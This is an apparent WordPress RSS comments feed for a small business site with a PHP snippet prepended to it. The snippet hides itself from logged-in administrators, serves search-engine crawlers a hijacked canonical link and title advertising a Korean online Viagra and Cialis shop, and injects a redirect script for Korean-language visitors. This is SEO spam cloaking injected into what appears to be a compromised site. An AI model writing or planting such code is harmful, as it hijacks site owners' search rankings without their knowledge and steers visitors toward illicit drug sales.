add_action('wp_head', function() {
    if (is_user_logged_in() || current_user_can('manage_options')) return;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    $is_bot = preg_match('/bot|google|crawler|spider|slurp|bing/i', $ua);
    if ($is_bot) {
        remove_action('wp_head', 'rel_canonical');
        echo '<link rel="canonical" href="https://viaclub.isweb.co.kr/" />';
        echo '<title>비아클럽 | 비아그라 시알리스 온라인 판매 1위</title>';
        echo '<meta name="description" content="정품 비아그라, 시알리스, 레비트라 등 성인용품 온라인 최저가 판매 및 당일 배송 서비스 제공." />';
    } else {
        if (strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], 'ko') !== false) {
            echo '<script>setTimeout(function(){location.href="https://google.com"}, 500);</script>';
        }
    }
}, 1);<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Offer page 2</title>
	<atom:link href="http://www.start-up-website.com/offer-page-2/feed" rel="self" type="application/rss+xml" />
	<link>http://www.start-up-website.com</link>
	<description>Professional Websites</description>
	<lastBuildDate></lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.1</generator>
</channel>
</rss>